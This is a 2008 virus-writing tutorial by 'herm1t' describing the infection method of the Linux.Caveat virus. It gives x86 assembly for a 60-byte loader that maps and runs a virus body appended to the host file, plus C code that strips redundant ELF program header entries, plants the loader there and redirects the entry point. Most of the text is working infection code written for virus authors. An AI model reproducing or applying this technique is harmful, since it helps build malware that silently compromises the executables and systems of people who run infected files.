Caveat virus
herm1t
Caveat virus
   herm1t, 2008-02-27
   This  tutorial  explains  how  to  use a small amounts of space within
   Program Header Table to inject the tiny loader which will allocate the
   memory  for  the main virus body, load and execute it. Suppose that we
   have,  say,  64  bytes  of  unused  space inside loadable segment? The
   loader might be implemented as follows:
                pusha
                pushl   $0x00006578
                pushl   $0x652f666c
                pushl   $0x65732f63
                pushl   $0x6f72702f
                mov     %esp,%ebx
                sub     %ecx,%ecx
                push    $5              
                .byte   0xe9
                .long   0
                pop     %eax
                int     $0x80
                pushl   $0x55aa55aa     # offset in file & 0xfffff000 (*)
                push    %eax            # handle
                push    $1              # flags (MAP_SHARED)
                push    $5              # prot (PROT_READ|PROT_EXEC)
                push    $0x1000         # length
                push    %ecx            # start
                mov     %esp,%ebx
                push    $90             # __NR_mmap
                pop     %eax
                int     $0x80
                jmp     *%eax
   The  above  code would open the "/proc/self/exe" for reading, mmap its
   tail  with  read  and  execute permissions, adjust address returned by
   mmap  and pass control to the virus. NB! There is no error checking on
   both  syscalls.  Before  returning  control to the host program, virus
   need  to  clean  the stack from loader's local variables and pop saved
   registers  (add $40,%esp / popa). When you receive control you'll have
   your own address in %eax and handle of the infected file in stack. One
   might  also wish to re-allocate the memory and move there to unmap and
   close  the  file  there  the  virus  resides,  but  this  isn't really
   neccessary.
   Compile it with as loader.s and dump with objdump -s -j .text a.out:
0000  60687865 0000686c 662f6568 632f7365 682f7072 6f89e329 c96a05e9 00000000
0020  58cd8068 aa55aa55 506a016a 05680010 00005189 e36a5a58 cd80ffe0
   Only  60  bytes,  surely,  you  can chop a few bytes more, but this is
   irrelevant.  The  virus  body  should  be appended to the file you are
   going  to infect. Note, that the offset of the virus in file should be
   patched  (instruction  marked  by  (*), offset 36 in loader). The file
   length  must  be  multiple of page size, truncate(2) it before writing
   virus body. This limitation is due to mmap(2).
   Ok, we have a loader, but where is the promissed space? I think all of
   you  knew what the Program Header Table is. It filled with entries (32
   bytes  each)  which describe the segments of the program. Some of them
   are  deadly  important  (like  PT_LOAD  or  PT_DYNAMIC)  and  it's not
   possible  to  tell the same about the rest. Let's return to the widely
   known  method  of  infection called "Additional Code Segment" [1]. The
   sum  and substance of it is a replacement of the unused PHT entry with
   type  PT_NOTE  (pointer  to  .note.ABI-tag  section)  by  PT_LOAD (new
   segment with virus code). We can remove PT_NOTE completely without any
   consequences. The introduction of the new segment is a quite noticable
   change  for  the  experienced user. The interesting thing about PHT is
   that  it  is  located  in the text segment. So, we have 32 spare bytes
   inside  PHT and another 32 bytes in .note.ABI-tag section and will use
   it  for the code itself. We will split the loader into two parts (this
   is what jmp 0f; 0: in loader for) and put it there.
BEFORE                                        AFTER                            
                                                          
+======================+<----,                +======================+<----,
| ELF Header           |     |                | ELF Header           |     |
+ - - - - - - - - - - -+<---,|                + - - - - - - - - - - -+<---,|
| Program Header Table |    ||                | Program Header Table |    ||
| PT_PHDR              |----'|                | PT_PHDR              |----'|
| PT_INTERP            |-,   |                | PT_INTERP            |-,   |
| PT_LOAD              |-|---'                | PT_LOAD              |-|---'
| PT_LOAD              |-|-,                  | PT_LOAD              |-|-,
| PT_DYNAMIC           | | |                  | PT_DYNAMIC           | | |
| PT_NOTE              |-|-|-,                | PT_GNU_EH_FRAME      | | |  
| PT_GNU_EH_FRAME      | | | |                | PT_GNU_STACK         | | |  
| PT_GNU_STACK         | | | | Entry Point -->| Loader (part 1)   jmp|-|-|-,
+----------------------+<' | |                +----------------------+<' | | 
| .interp              |   | |                | .interp              |   | | 
+----------------------+<--|-'                +----------------------+<--|-'
| .note.ABI-tag        |   |                  | Loader (part 2)      |   |  
+----------------------+   |                  +----------------------+   |
|                      |   |                  |                      |   |
........................   |                  ........................   |
|                      |   |                  |                      |   |
+----------------------+<----Entry Point      +----------------------+   |
| .text                |   |                  | .text                |   |
........................   |                  ........................   |
+======================+<--'                  +======================+<--'
|                      |                      |                      |
........................                      ........................         
       
   This could be done with the following code (victim was already mmaped,
   mapping - m, length - l, ehdr and phdr pointers filled):
        uint32_t note, base;
        for (i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
                        base = phdr[i].p_vaddr;
                if (phdr[i].p_type == PT_NOTE) {
                        note = phdr[i].p_offset;
                        if (i != ehdr->e_phnum - 1)
                                memcpy(&phdr[i], &phdr[i + 1],
                                        sizeof(Elf32_Phdr) * (ehdr->e_phnum - i
 - 1));
                        ehdr->e_phnum--;
                        *(uint32_t*)(loader + LOADER_JMP) =
                                note - (ehdr->e_phoff + sizeof(Elf32_Phdr) * eh
dr->e_phnum + 32);
                        memcpy(&phdr[ehdr->e_phnum], loader, 32);
                        memcpy(m + note, loader + 32, 32);
                        ehdr->e_entry = base + ((char*)&phdr[ehdr->e_phnum] - (
char*)m);
                }
        }
   LOADER_JMP  is the offset within loader to the argument of jmp linking
   two parts and is equal to 28.
   There  also  a  lot of other possible places for the loader. Recently,
   comrade  F0g showed me his code and I realized that PT_NOTE is not the
   only  reduntant  header. The PT_NOTE was so obvious as a target that I
   didn't  even thought about the others. Shame on me! And thanks to F0g!
   He  is replacing the PT_PHDR entry, I also played a bit and found that
   PT_GNU_STACK  is usually of no use also. So we can put the whole thing
   to PHT:
        uint32_t base;  
        Elf32_Phdr new_phdr[ehdr->e_phnum];
        int new_phnum = 0;
        for (i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
                        base = phdr[i].p_vaddr;         
                if (phdr[i].p_type == PT_NOTE || phdr[i].p_type == PT_PHDR || p
hdr[i].p_type == PT_GNU_STACK)
                        continue;
                memcpy(&new_phdr[new_phnum++], &phdr[i], sizeof(Elf32_Phdr));
        }
        if (ehdr->e_phnum - new_phnum > 1) {
                ehdr->e_phnum = new_phnum;
                memcpy(phdr, new_phdr, new_phnum * sizeof(Elf32_Phdr));
                memcpy(&phdr[new_phnum], loader, sizeof(loader));
                ehdr->e_entry = base + ((char*)&phdr[new_phnum] - (char*)m);
        }
   Both  variants  presented  above  was  implemented in the Linux.Caveat
   virus. There is also the nice side effect with this method - you don't
   need  to  set  the  infection  marker,  since the PHT entries could be
   removed only once.
   Let's think what else could be done. One may shift the .interp section
   down  in the file to make the hole in PHT and .note.ABI-tag contiguos.
   There  is  also  a  tiny free spots inside the ELF header and sections
   padding. Or you could reduce the .hash size [2].
   Comments are welcome. <[1]herm1t@vx.netlux.org>
References
    1. Alexander Bartolich, "The ELF Virus Writing HOWTO", 2003
    2. herm1t, "Hashin' the elves", 2007
Contact
    1. herm1t@vx.netlux.org